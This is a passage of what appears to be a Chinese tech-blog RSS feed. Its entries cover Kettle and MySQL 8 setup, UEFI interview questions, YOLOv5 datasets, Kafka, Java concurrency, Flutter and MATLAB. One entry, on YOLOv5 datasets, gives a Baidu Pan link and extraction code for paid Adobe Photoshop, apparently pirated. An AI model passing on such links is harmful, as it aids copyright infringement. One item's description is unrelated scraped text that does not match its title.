      <description>Kettle系列（一）下载安装与基础配置 说明一、下载二、目录结构三、基础配置（1）环境变量（2）kettle配置 四、连接mysql8五、连接其他数据库六、总结 说明 更新时间：2023/08/13 17:47&#xA;本文记录了win10下的kettle的下载和配置，并进行了mysql8的数据库连接测试&#xA;本文仅为记录学习轨迹，如有侵权,联系删除&#xA;一、下载 官网地址：kettle官网，kettle的官网近期应该是调整过，进去之后发现没有kettle的下载地址，而是给了&#34;The “/Data Integration” file could not be found or is not available. Please select another file.&#34;这样的提示语，截图如下&#xA;如果要找到最新的下载地址需要下载上面的&#34;SourceForge Pentaho Summary.pdf&#34;文件，里面有最新的地址&#xA;进入网站&#xA;下载后解压即可&#xA;备注：正常情况下直接下载即可，下面本人用了kettle9.0版本和kettle9.4两个版本进行测试&#xA;二、目录结构 解压后的目录结构如下&#xA;简单对目录结构的一些重点目录作一下说明&#xA;三、基础配置 （1）环境变量 kettle是用java开发的，熟悉java开发的一定知道需要先配置jdk的环境变量，这里也是，java的环境变量配置jdk8就可以了，需要自行配置，注意一点环境变量的名称为：JAVA_HOME&#xA;kettle的环境变量，这个不配也没有关系，不影响使用，不过这里建议配置一下，配置的路径data-integration路径即可（即可以看到Spoon.bat文件的路径），环境变量名称为KETTLE_HOME&#xA;（2）kettle配置 先看一下lib文件夹，这个是用来放置jar的地方，因为kettle是用的java开发的，所以一些jar的依赖都会放到这里面，后面我们有需要用到jar的地方也是放到这里，先找到“Spoon.bat”这个文件，我们需要改一下里面的一些内容&#xA;找到if &#34;%PENTAHO_DI_JAVA_OPTIONS%&#34;==&#34;&#34; set PENTAHO_DI_JAVA_OPTIONS=&#34;-Xms1024m&#34; &#34;-Xmx2048m&#34;这句话，在它后面加上&#34;-Dfile.encoding=UTF-8&#34;，不然后面链接数据库资源库的时候，如果连接的信息一旦有中文字符，会导致下次进来连接按钮丢失&#xA;保存即可&#xA;四、连接mysql8 备注：下面的测试用了9.4和9.0两个版本，内容基本差不多，但是在配置mysql8连接的时候有些区别&#xA;这里需要重点记录一下mysql8的配置，先点击Spoon.bat启动kettle，界面如下&#xA;点击转换 --&amp;gt; 输入 --&amp;gt; 表输入，双击进行数据库连接配置&#xA;发现连接失败，显示没有org.gjt.mm.mysql.Driver，简单说就是没有mysql的驱动，我们的数据库是mysql8所以就需要下载mysql8的驱动jar包，放到kettle安装路径data-integration里面的lib文件夹里面就可以了&#xA;重启kettle重复上面的连接步骤，如果显示连接成功，那么祝贺你，到此为止配置过程结束；如果还是报错的话继续往下走&#xA;事实上经过本人的测试，如果用的kettle9.4的话，在lib里面加上对应的mysql8驱动后是可以正常连接，但是如果用的kettle9.0的话还是会报错的，如下图是加了mysql8驱动后的报错截图&#xA;显示还是说找不到org.gjt.mm.mysql.Driver这个类，这个好分析，我们解压一下mysql8的驱动包，发现里面根本就没有org.gjt.mm.mysql.Driver这个类&#xA;我们再下载一下mysql5的驱动，并且解压，发现里面就有org.gjt.mm.mysql.Driver这个类&#xA;这也就是说，如果用的是mysql5.7数据库的话，在lib文件夹里面放上对应的驱动包就可以正常连接了，但是mysql8驱动包就没有这个类了，这个跟mysql的版本结构有关，这个时候如果还是想用mysql8的话，也有办法，需要在lib里面再引入一个jar包（mm.mysql-2.0.7.jar），降一下版本，该jar可以进maven中央库下载&#xA;再重启kettle，进行数据库连接，发现上面的错误不见了，但是悲剧了，出现了另一个错误，如图&#xA;不要慌，还差最后一步，因为mysql8是需要配置时区的，而kettle9.0在进行连接的时候本人猜测是没有配置时区的，可能内部默认是用的mysql5.7，mysql5.7是不用配置时区的，那么好办，找到mysql的配置文件my.ini，加个默认时区给它即可&#xA;保存，重启mysql服务，注意cmd命令行窗口需要用管理员权限运行&#xA;再度重启kettle进行连接测试，发现终于连接成功了&#xA;以上就是kettle9.0连接mysql8的操作，如果是kettle9.4的话，直接放mysql8的jar包到lib文件夹就可以了，如果还是不行，下面有一种通用的连接方法，更简单&#xA;五、连接其他数据库 kettle支持连接很多常见的数据库，甚至国产的达梦数据库也是支持连接的；如果上面的mysql8没连接成功，可以用一下这种方法，首先还是把mysql8的驱动包放到lib文件夹下面，然后连接的时候连接类型不要选择mysql，而是选择“Generic database”，再正确填写jdbc的配置即可&#xA;自定义连接URL填写自己数据库的连接即可</description>
    </item>
    <item>
      <title>UEFI 基础教程 （二十一） — BIOS常见面试题</title>
      <link>https://bchobby.github.io/posts/7876bba54918c4f0556c37209ba0080d/</link>
      <pubDate>Sun, 13 Aug 2023 17:17:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7876bba54918c4f0556c37209ba0080d/</guid>
      <description>1. 介绍UEFI boot 大致流程 - 解释每个阶段的细节 - CAR(cache as ram), 如何配置 - Peicore会调用几次 2. UEFI Event 实现细节 3. OpenProtocol/HandleProtocol/LocateProtocol 区别 4. 描述下 Handle和Protocol的联系 5. PcdSetxx 和 gRT-&amp;gt;SetVariable的区别 6. UEFI C state 、 P state 实现 7. ACPI S3/S5 实现 - Sleep时候调用哪些ACPI method, 比如 PTS 8. 如何配置 Nem(Non evict mode) 9. 操作 SATA/NVME 需要用到哪些Protocol - 如何发送数据给SATA Controller 10. 描述下 Intel MCA 11. 如何处理Memory CE、UCE 12. SMM的理解 13. HOB的理解 - SMM mode 下可以操作HOB嗎 - HOB有多大 - HOB空間是連續的嗎 14.</description>
    </item>
    <item>
      <title>制作深度学习目标检测数据集、数据集格式的转化及训练集和验证集的划分（基于Yolov5的目标检测项目）</title>
      <link>https://bchobby.github.io/posts/7bd7cc3a45a6bebd917f9b2066cfac9b/</link>
      <pubDate>Sun, 13 Aug 2023 16:11:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bd7cc3a45a6bebd917f9b2066cfac9b/</guid>
      <description>Anaconda、pycharm、PyTorch等环境的配置此篇不做讲解，可参考其他博主的文章进行环境搭建。特别提醒：搭建环境时注意版本问题。&#xA;制作自己深度学习目标检测数据集 有很多可以直接下载数据集网站如：飞桨AI Studio、人脸识别常用数据集大全、Stanford University、国外大牛SVETLANA LAZEBNIK的数据集，但这些数据集种类有限，因此要学会根据自己的项目需要去制作自己的数据集。&#xA;制作数据集的工具有Adobe Photoshop、LabelImg等很多工具，可自己随便选择，因为Adobe Photoshop是收费的，所以我为大家提供了下载链接，懂得都懂&#xA;链接：https://pan.baidu.com/s/1QOVPWcwR07ddxGoIJNilVA?pwd=9988 提取码：9988&#xA;使用LabelImg工具为图片打标签 准备工作 因为需要标注图片数量较多所以用一下代码可为图片依次进行重命名编号， &#39;F:\Yolov5\测试图片1&#39;，将路径替换为自己图片文件夹的路径&#xA;import os import shutil folder_path = &#39;F:\Yolov5\测试图片1&#39; # 获取文件夹中的所有图片文件 images = [f for f in os.listdir(folder_path) if os.path.isfile(os.path.join(folder_path, f)) and f.lower().endswith((&#39;.jpg&#39;, &#39;.jpeg&#39;, &#39;.png&#39;))] # 排序文件列表 images.sort() # 设置开始命名时的数字，100会从101开始编号 start_number = 100 # 遍历图片并进行重命名 for i, image_name in enumerate(images): new_filename = &#39;{:03d}.{}&#39;.format(start_number + i + 1, image_name.split(&#39;.&#39;)[-1]) old_filepath = os.path.join(folder_path, image_name) new_filepath = os.path.join(folder_path, new_filename) shutil.</description>
    </item>
    <item>
      <title>基于springBoot 的网上订餐系统 eattingwhat 实践项目</title>
      <link>https://bchobby.github.io/posts/1de4b843adc4fd3094e490c9a6caf49d/</link>
      <pubDate>Sun, 13 Aug 2023 15:39:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1de4b843adc4fd3094e490c9a6caf49d/</guid>
      <description>项目名称：eattingwhat（吃什么） 项目源码地址：eattingwhat: 为了更好适应互联时代，为了生活更加便捷，为了让消费者足不出门就可以享受到店家的美食。eattingwhat旨在拉近消费者和客户的距离，同时给消费者和店家搭建一个便捷的交易平台。&#xA;初始用户：&#xA;消费者“小a”：18475961111/123456&#xA;消费者“小b”：18475962222/123456&#xA;消费者“小c”：18475963333/123456&#xA;1、简介 基于SSM框架的 网上点餐 系统，整合spring + springmvc + mybatis + layui。&#xA;使用springBoot启动。包括有消费者模块、商家模块，订单管理模块，评价模块。&#xA;2、背景 为了更好适应互联时代，为了生活更加便捷，为了让消费者足不出门就可以享受到店家的美食。eattingwhat2旨在拉近消费者和客户的距离，同时给消费者和店家搭建一个便捷的交易平台。&#xA;3、功能如下 用户模块详情：&#xA;①登陆： 通过注册的手机号码登陆si&#xA;②登陆记住密码：js+cookie实现&#xA;③注册：注册新用户，用户名重复校验，手机号码重复校验，基本格式验证&#xA;④修改头像：用户可以自定义个性头像&#xA;⑤查看个人信息&#xA;⑥查看订单：可以查看 配送中订单，已送达待评价订单，所有订单&#xA;⑦评价订单：可以给商店打分，上传食物图片，书写评价内容&#xA;⑧查看我的所有评价&#xA;美食店模块详情：&#xA;①美食街：游览所有店铺&#xA;②进店：可以游览当前店铺所有菜品，查看美食店详情，查看美食店评价&#xA;③店铺查询：带Googlesuggest功能的搜索框（通过店名关键字搜索），目前只有火狐游览器支持该功能&#xA;订单模块详情：&#xA;①提交订单&#xA;②订单确认送达&#xA;③查看订单&#xA;评价模块详情：&#xA;①提交评价&#xA;②查看消费猪评价&#xA;③查看美食店评价&#xA;4、系统演示截图： 欢迎页面&#xA;登陆页面&#xA;美食街&#xA;访问受限，访问特定的页面需要先登陆&#xA;个人信息页面&#xA;店铺页面&#xA;店铺详情&#xA;我的订单&#xA;提交评价&#xA;查看我的评价&#xA;查看店家评价&#xA;带Googlesuggest功能的搜索框，目前只有火狐游览器支持该功能</description>
    </item>
    <item>
      <title>我的512创作纪念日—感谢大家的陪伴</title>
      <link>https://bchobby.github.io/posts/38c0d7d3c78c4e708a135283e1e5db85/</link>
      <pubDate>Sun, 13 Aug 2023 08:16:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38c0d7d3c78c4e708a135283e1e5db85/</guid>
      <description>1.机缘 “等日出看彩虹 有幸再次遇见你，还记得 2022 年 …”。 正午，打开手机收到这条信息让我感到很温暖。在CSDN中，不仅能够进行学习互动认识很多伙伴、同大家敞开心扉的交流技术，更重要的是对每一阶段都有一个总结。&#xA;之前大多数的总结和实践则多集中于书本之上。俗话说：“好记性不如烂笔头”，记忆是过一段时间如果没有回想起来那时间长了可能就真的忘了。就像现在说一个 Vue结合ElementUI做一个简单的登录界面，那么对于表单的数据的校验、校验规则的添加、正则表达式的使用、JS函数书写时的数据校验等。或者说一个React结合Antd的父子组件传值同时子组件向父组件外显方法通过父组件传递数据和刷新子组件中某个表格的情况。都是需要间隔性总结才能更加熟悉过程和方式。&#xA;一个事情当我们想做的时候，也许没有多想，但是做出来了就是已经在开始。为能够总结遇到的各种问题同时能和大家一起学习探讨技术内容，便开始了与CSDN相约而行的过程。&#xA;2.收获 在分享的过程中，我获得了很多伙伴的认可，当有伙伴通过我的分享获取到帮助加快他们学习的步伐、减少他们少走的弯路时，感到非常开心。这让我想起伙伴们需要资源时会留言：“大佬，我需要链接。 我需要链接，谢谢。” ，其实只要大家需要，直接说需要链接就可以，也许是伙伴们都很谦逊，你们都是我学习的榜样。让我们从main() 出发，是高级语言还是汇编语言、机器语言都可，途径 各个 function() ，不管面向的是 “过程” 还是 “对象” ，亦或是 B/S、C/S，无论是MySQL还是Oracle等存储我们的交流内容，感谢伙伴们的陪伴，你们能够通过我的总结提高帮助的你们的学习就是我 “最大的收获”。&#xA;3.日常 其实，可以说创作已经成为了我生活的一部分，不仅仅是文字，它富有生命力。现在每天部分时间在新的技术使用和学习，创作方面确实有所延误。虽然迟迟没有更新创作的内容，但这件事一直放在心上，所谓厚积薄发，创作是在总结的同时帮助到大家，也是帮助自己经常性回想知识更快速，所以日常中现在就是多累积总结要耐得住实践的考验。 4.成就 过去时间里主要是对于Vue、React以及相关的ElementUI、ANTD等UI库进行学习应用，虽然是Java来的，通过JS、JSP、HTML串起了前后端，使用框架提高了整个过程的速度，独立开发了基于SpringBoot和JSP、Vue、ElemenUI的前后端项目，但是还有很多需要完善之处。除了Vue外另一方面就是使用React和ANTD正在写的一些功能，组件联动实现像我们使用JQuery一样在文本框中输入内容就能够立即响应异步更新表格数据。代码段还是存在优化的，下面举一例如对数组数据处理：&#xA;const tempInfoMx = data[&#39;aiInfoData&#39;]; const infoMx = []; //获取到对象中所有的key,返回包含对象key的数组,根据key获取对应的值 const infoKeyArray = Object.keys(data[&#39;aiInfoData&#39;]) for (var i = 0; i &amp;lt; infoKeyArray .length; i++) { for (var j = 0; j &amp;lt; tempInfoMx [infoKeyArray [i]].length; j++) { infoMx .push({ &#34;imageId&#34;: infoKeyArray [i], &#34;</description>
    </item>
    <item>
      <title>MATLAB如何利用DEM生成地形三维模型（DEM&#43;Landsat_5&#43;MATALB）</title>
      <link>https://bchobby.github.io/posts/4e19bd8c392e62acdaf5b5bbaf1da3fe/</link>
      <pubDate>Sat, 12 Aug 2023 23:00:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e19bd8c392e62acdaf5b5bbaf1da3fe/</guid>
      <description> 一、基础介绍 关于3维地形模型， 三维地形是描述地球表面及其特征的曲面模型。模型中的特征点和特征线都是三维的，可以直观测量或查询任意特征点的平面坐标和高程，模型能够真实的反映地表特征和地表现象。注意其和传统的DEM不同，DEM只具有地表空间特征但不具有地表属性特征，其只能反映地形，不能反映该处的样貌、色彩等。&#xA;下面简单列举一下能够作为建立模型的基础数据：&#xA;分类方法DEMDEM可以看作N×M个高程数据集Hij（i∈1，N,j∈1，M），MATLAB中是完全支持使用surf(DEM)进行绘制地形图，其转为地形图的原理可以参考我以前的文章，生成地形图之后，可以将有坐标系统的影像图或者其他纹理图进行浮动在地形图表面，实现建模。地表高程点高程点和DEM有异曲同工之处，但是相比于DEM这种二维数据，高程点可以看作是一维的。其可以表示为Hi（i∈1，N*M），而在MATLAB中也可以利用高程点进行绘制地形图，方法可以参考我以前的文章，其他和以上无异。激光点云激光点云比较特殊，其可以被用于精密场所的建模使用，在MATLAB中利用surf或者mesh类的函数显示，则会大大减小的其建模后的精度，因此在MATLAB中可以之间利用PCshow函数读取显示之后，将其所在地区的纹理图进行贴附，可以实现高精度建模。同样随着倾斜摄影测量的发展，其高精度的优势渐渐渗入到数字城市的建模中。其他NONE 其实上面所说的纹理图贴图类似于arcGIS中的按高程在表面浮动，其原理一样；&#xA;我们再看看matlab是如何进行纹理贴图的；首先P=surf（DEM），注意以下三个设置&#xA;接下来我们看看三个属性值分别表示的是什么：&#xA;（1）Facecolor，所属于Surface的面属性，其下属有四个值，分别是‘Flat’、‘interp’、‘none’、‘texturmap’，本次只对第四个值进行说明；其主要是为了变化CData中的数据，使其符合曲面，可以理解为拉伸&#xA;（2）CData，所属于Surface的颜色属性，其分为二维和三维数组两种形式；&#xA;注意在此说明一下，我们将纹理图保存为JPG、PNG或者其他影像图时，其表面的颜色时对应于[R,G,B]颜色体，现在将其赋值给CDdata，使Surface其顶点的颜色为纹理图的颜色，若未赋值，则CData为默认值；&#xA;（3）Linestyle，所属于Surface的边缘属性，本次就将其设置为‘none’，使其为空以至于其表面的线条隐藏。&#xA;二、代码段及其结果 1）读取显示DEM clc; clear all; %读取显示DEM数据，剔除边缘异常数据 [data,R1]=geotiffread(&#34;gansu.tif&#34;); figure; datacop=data(8:432-8,7:603-7); imagesc(datacop); title(&#39;DEM显示图&#39;); 2）读取显示以及合成Landsat_5影像 landsat_band_1=adapthisteq(geotiffread(&#34;landsat_b1.tif&#34;).*0.5); landsat_band_2=adapthisteq(geotiffread(&#34;landsat_b2.tif&#34;)); landsat_band_3=adapthisteq(geotiffread(&#34;landsat_b3.tif&#34;)); imag=cat(3,landsat_band_3,landsat_band_2,landsat_band_1); figure; imshow(imag); imwrite(imag,&#39;landsat.jpg&#39;); title(&#39;landsat合成图&#39;); 3)读取显示山体阴影图 [data_shale,R2]=geotiffread(&#34;gansu_shale.tif&#34;); datacop_shale=data_shale(8:432-8,7:603-7); figure; imagesc(datacop_shale); colormap(&#34;gray&#34;); imwrite(datacop_shale,&#39;datacop_shale.jpg&#39;); title(&#39;山体阴影显示图&#39;); 4)三维显示地形模型 figure; P=surf(datacop); colormap(&#34;gray&#34;); map_data=imread(&#34;landsat.jpg&#34;); P.CData=map_data; P.FaceColor = &#34;texturemap&#34;; P.LineStyle = &#34;none&#34;; title(&#39;真实地形3D模型图&#39;); view(120,70) figure; P=surf(datacop); colormap(&#34;jet&#34;); map_data=imread(&#34;datacop_shale.jpg&#34;); P.CData=map_data; P.FaceColor = &#34;texturemap&#34;; P.LineStyle = &#34;none&#34;; title(&#39;山体坡向3D模型图(pitch-angle=45° direction-angle=225°)&#39;); view(30,70) </description>
    </item>
    <item>
      <title>【Kafka】1.Kafka简介及安装</title>
      <link>https://bchobby.github.io/posts/d2584b339a549fd08e8c8eb04d737846/</link>
      <pubDate>Sat, 12 Aug 2023 19:46:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2584b339a549fd08e8c8eb04d737846/</guid>
      <description>目 录 1. Kafka的简介1.1 使用场景1.2 基本概念 2. Kafka的安装2.1 下载Kafka的压缩包2.2 解压Kafka的压缩包2.3 启动Kafka服务 1. Kafka的简介 Kafka 是一个分布式、支持分区（partition）、多副本（replica）、基于 zookeeper 协调的消息中间件，最大的特点是可以实时地处理大量数据以满足各种需求场景。例如：基于 Hadoop 的批处理系统、低延迟的实时系统、访问日志、消息服务等。它最初是由 Linkedin 公司用 scala 语言开发出来的，并在 2010 年贡献给了 Apache 基金会，成为 Apache 的顶级开源项目，后面引入了 java 语言的开发。&#xA;1.1 使用场景 日志收集：可以用 Kafka 将各种服务的 log 进行收集，然后通过 Kafka 以统一接口服务的方式开放给各种消费者，如 Hadoop、Solr等。消息系统：解耦生产者和消费者、缓存消息用户活动跟踪：Kafka 常被用来记录 web 用户或者 app 用户的各种活动，如浏览网页、搜索、点击等活动，这些活动被各个服务生产者发布到 Kafka 的 topic 中，订阅者通过订阅这些 topic 来做实时的监控分析，或者其它处理。运营指标：Kafka 也常用来记录运营监控数据，包括收集各种分布式应用的数据，生产各种操作的集中反馈，如报警和报告。 1.2 基本概念 如下表所示，是 Kafka 的一些基本概念。&#xA;名称释义Broker消息中间件处理节点，一个 Kafka 节点就是一个 Broker ，一个或者多个 Broker 可以组成一个 Kafka 集群，通俗点理解就是一个 Broker 就是一个 Kafka 服务端，多个 Kafka 服务端组成集群TopicKafka 根据 topic 对消息进行归类，发布到 Kafka 集群的每条消息都需要指定一个 topicProducer消息生产者，向 Broker 发送消息的客户端Consumer消息消费者，从 Broker 读取消息的客户端ConsumerGroup每个 Consumer 属于一个特定的 Consumer Group，一条消息可以被多个不同的 Consumer Group 消费，但是一个 Consumer Group 中只能有一个 Consumer 能够消费该消息Partition物理上的概念，一个 topic 可以分为多个 partition ，每个 partition 内部消息是有序的 2.</description>
    </item>
    <item>
      <title>Java并发编程</title>
      <link>https://bchobby.github.io/posts/4032abc16e0e18443d2a73169451ef37/</link>
      <pubDate>Sat, 12 Aug 2023 19:01:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4032abc16e0e18443d2a73169451ef37/</guid>
      <description>目录&#xA;一、基本概念&#xA;1、进程与线程&#xA;2、并发与并行&#xA;3、应用&#xA;二、Java 线程&#xA;1、线程创建与运行&#xA;方法一：继承Thread类&#xA;方法二：实现Runnale接口&#xA;方法三：实现Callable接口&#xA;2、线程运行原理&#xA;3、Thread 的常见方法&#xA;1）start()与run()&#xA;2）sleep()与yield()&#xA;3）join() 方法&#xA;4）interrupt() 方法&#xA;5）sleep，yiled，wait，join 对比&#xA;6)不推荐的方法&#xA;7）守护线程&#xA;4、线程状态&#xA;结论&#xA;三、共享模型之管程&#xA;1、线程共享带来的问题&#xA;2、synchronized 解决方案&#xA;1）解决手段&#xA;2）synchronized 语法&#xA;3）synchronized 加在方法上&#xA;3、变量的线程安全分析&#xA;1）成员变量和静态变量的线程安全分析&#xA;2）局部变量线程安全分析&#xA;3）线程安全的情况&#xA;4）线程不安全的情况&#xA;5）不安全原因分析&#xA;6）解决方法&#xA;7）思考 private 或 final的重要性&#xA;8）常见线程安全类&#xA;线程安全类方法的组合&#xA;不可变类的线程安全&#xA;示例分析-是否线程安全&#xA;4、Monitor 概念&#xA;1）Java 对象头&#xA;2）Monitor 原理&#xA;5、synchronized 原理进阶&#xA;1）synchronized 用于同步代码块与同步方法原理&#xA;2）轻量级锁&#xA;3）锁膨胀&#xA;4）自旋优化&#xA;5）偏向锁&#xA;撤销偏向&#xA;6）批量重偏向&#xA;7）批量撤销&#xA;6、Wait/Notify&#xA;1）原理</description>
    </item>
    <item>
      <title>Flutter 中，ListView 中需要放置 ListView 需要怎么处理才高效？</title>
      <link>https://bchobby.github.io/posts/bd313c03b79af107c0b95fb5c2d76aa7/</link>
      <pubDate>Sat, 12 Aug 2023 17:11:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd313c03b79af107c0b95fb5c2d76aa7/</guid>
      <description>问题及场景 ListView 是 Flutter 开发者第一个学习到的 Widget，因为它可以滑动。一切都会运行得很好，直到 ListView 中的 Item 本身也是一个 ListView。你可能会看到 Flutter 建议你将内部的 ListView 的ShrinkWrap 属性设置为 True。虽然错误消除了，但是威胁还在。因为 ShrinkWrap 属性会将 ListView 一次性全部填充，算出所有高度，如果内部 ListView 的数据量比较大，那将产生性能问题，会有很大的风险掉帧、jank 和 stutters。&#xA;假设你遇到下面这样的场景&#xA;final outerListChildren = &amp;lt;ListView&amp;gt;[ ListView(children: &amp;lt;Wdiget&amp;gt;[...]), ... ]; return ListView.Builder( itemCount: outerListChildren.length, itemBuilder: (context, index) { return outerListChildren[index] } ) 然后我们按照 Flutter 的提示，将内部的 ListView 加上 shrinkWrap 和 physics 属性如下&#xA;final outerListChildren = &amp;lt;ListView&amp;gt;[ ListView( shrinkWrap: true, physics: const NeverScrollableScrollPhysics(), children: &amp;lt;Wdiget&amp;gt;[...] ), ... ]; return ListView.</description>
    </item>
    <item>
      <title>大模型评测数据集：MMLU、MMCU、C-Eval</title>
      <link>https://bchobby.github.io/posts/fd7f8af3873a5258e33e6d95320c9073/</link>
      <pubDate>Sat, 12 Aug 2023 14:36:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd7f8af3873a5258e33e6d95320c9073/</guid>
      <description>面对国内大语言模型万箭齐发的局面，如何更好地提升大语言模型对中文的理解能力，更好地服务于全球的中文用户，甲骨易AI研究院首创性地推出了高质量中文评测数据集——一款名为“超越”(Massive Multitask Chinese Understanding，简称MMCU)的大规模的多任务测试数据集，填补了中文大语言模型能力测试缺失的一大空白。&#xA;ChatGPT 的出现，使中文社区意识到与国际领先水平的差距。近期，中文大模型研发如火如荼，但中文评价基准却很少。在 OpenAI GPT 系列 / Google PaLM 系列 / DeepMind Chinchilla 系列 / Anthropic Claude 系列的研发过程中，MMLU / MATH / BBH 这三个数据集发挥了至关重要的作用，因为它们比较全面地覆盖了模型各个维度的能力。最值得注意的是 MMLU 这个数据集，它考虑了 57 个学科，从人文到社科到理工多个大类的综合知识能力。DeepMind 的 Gopher 和 Chinchilla 这两个模型甚至只看 MMLU 的分数，因此我们想要构造一个中文的，有足够区分度的，多学科的基准榜单，来辅助开发者们研发中文大模型。我们花了大概三个月的时间，构造了一个覆盖人文，社科，理工，其他专业四个大方向，52 个学科（微积分，线代 …），从中学到大学研究生以及职业考试，一共 13948 道题目的中文知识和推理型测试集，我们管它叫 C-Eval，来帮助中文社区研发大模型。&#xA;C-Eval: 构造中文大模型的知识评估基准_数据派THU的博客-CSDN博客</description>
    </item>
    <item>
      <title>【STM32】FreeRTOS开启后，不再进入主函数的while(1)</title>
      <link>https://bchobby.github.io/posts/7d2bbcd0a64c2f3deae9eb470b31daa4/</link>
      <pubDate>Sat, 12 Aug 2023 00:49:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d2bbcd0a64c2f3deae9eb470b31daa4/</guid>
      <description>开启freertos后，想在主函数的while(1)中实现led的翻转，发现无法实现。&#xA;int main(void) { /* USER CODE BEGIN 1 */ /* USER CODE END 1 */ /* MCU Configuration--------------------------------------------------------*/ /* Reset of all peripherals, Initializes the Flash interface and the Systick. */ HAL_Init(); /* USER CODE BEGIN Init */ /* USER CODE END Init */ /* Configure the system clock */ SystemClock_Config(); /* USER CODE BEGIN SysInit */ /* USER CODE END SysInit */ /* Initialize all configured peripherals */ MX_GPIO_Init(); MX_USART1_UART_Init(); /* USER CODE BEGIN 2 */ /* USER CODE END 2 */ /* Call init function for freertos objects (in freertos.</description>
    </item>
    <item>
      <title>解决无法引入 mysql-connector-j 的问题</title>
      <link>https://bchobby.github.io/posts/d52d18634c127b7a5a76f2939627d2a0/</link>
      <pubDate>Fri, 11 Aug 2023 23:50:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d52d18634c127b7a5a76f2939627d2a0/</guid>
      <description>开发环境 Windows 10Oracle JDK 1.8Maven 3.8.8IntelliJ IDEA 2022.2.2 问题 在使用 Spring initializr 创建 Spring Boot 项目时，无法引入 mysql-connector-j 这个依赖，报错信息：&#xA;com.mysql:mysql-connector-j:jar:unknown was not found in https://maven.aliyun.com/repository/public during a previous attempt. This failure was cached in the local repository and resolution is not reattempted until the update interval of aliyunmaven has elapsed or updates are forced pom.xml 文件&#xA;// 父依赖 &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.5.14&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;!-- lookup parent from repository --&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>Rea.js 一个适合用于写原生 demo 的极简响应式 j</title>
      <link>https://bchobby.github.io/posts/bb96aafcfdb4b0a2fbf5a8094e417e44/</link>
      <pubDate>Fri, 11 Aug 2023 23:06:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb96aafcfdb4b0a2fbf5a8094e417e44/</guid>
      <description>题解 | #合并区间#&#xA;import java.util.*;/* * public class Interval { * int start; * int end; * 华为od招聘将放开院校限制&#xA;2024年华为od招聘，将放开院校限制，由100所院校放宽到300-500所，有兴趣的大家可以开始准备了华为OD机考，一共3道题，100/100/200，共40&#xA;题解 | #牛群的危险路径#&#xA;import java.util.*;public class Solution { /** * 代码中的类名、方法名、参数名已经指定，请勿修改，&#xA;科大讯飞（飞星计划）-深度学习框架和平台方向&#xA;一面 8.11上来先聊感兴趣的项目，介绍一下项目职责相关，接着问了几个面试官感兴趣的问题（深度学习训练平台相关问题），但不是我负责，只是按照自己的理解随便说了一&#xA;美团&#xA;美团内推来啦！欢迎大家用我的码社招&amp;amp;实习都可以用本次秋招 6000 HC，涵盖众多岗位，总有一个适合你！美团内推链接（手机端）： https://zh&#xA;题解 | #合并区间#&#xA;import java.util.*;/* * public class Interval { * int start; * int end; * 题解 | #合并区间#&#xA;import java.util.*;/* * public class Interval { * int start; * int end; * 题解 | #牛群的危险路径#</description>
    </item>
    <item>
      <title>解决ExcelProperty反射动态修改表头上线一段时间后失效</title>
      <link>https://bchobby.github.io/posts/d7cc03773665fa1ea6fad332c11da778/</link>
      <pubDate>Fri, 11 Aug 2023 16:15:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7cc03773665fa1ea6fad332c11da778/</guid>
      <description>下面这段代码大家应该都搜到过了：&#xA;/** * 动态修改Excel标题 * @param clzz * @param filedName * @param valueArr */ public static void setHeadValue(Class clzz, String filedName, String[] valueArr ) { try { //获取field Field filed = clzz.getDeclaredField(filedName); filed.setAccessible(true); //获取注解 ExcelProperty annotation = filed.getAnnotation(ExcelProperty.class); InvocationHandler invocationHandler = Proxy.getInvocationHandler(annotation); Field memberValues = invocationHandler.getClass().getDeclaredField(&#34;memberValues&#34;); memberValues.setAccessible(true); Map&amp;lt;String, Object&amp;gt; map = (Map&amp;lt;String, Object&amp;gt;) memberValues.get(invocationHandler); map.put(&#34;value&#34;, valueArr); } catch (Exception e) { e.printStackTrace(); } } 但是大家可能发现最后在写excel时，实体xxxVo.class中还是之前的值。&#xA;哈哈哈我也遇到了这个问题，已经解决了，现在将原因和方法告诉大家。&#xA;实际上，反射修改的只是CLASS对象，并没有修改相应类的字节码。因此下面引入Javassist技术，修改类的字节码。&#xA;使用Javassist动态重新加载CLASS，需开启JDWP(-agentlib:jdwp)，注意new HotSwapper()会建立长链接占用设置的端口(8000),如果是多次重新加载CLASS，HotSwapper只需实例化一次，所以设计成单例模式。</description>
    </item>
    <item>
      <title>使用GUI Guider工具在MCU上开发嵌入式GUI应用 (1) - GUI Guider简介及安装</title>
      <link>https://bchobby.github.io/posts/fe894c4af41625a188dd659d278e56fe/</link>
      <pubDate>Fri, 11 Aug 2023 14:07:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe894c4af41625a188dd659d278e56fe/</guid>
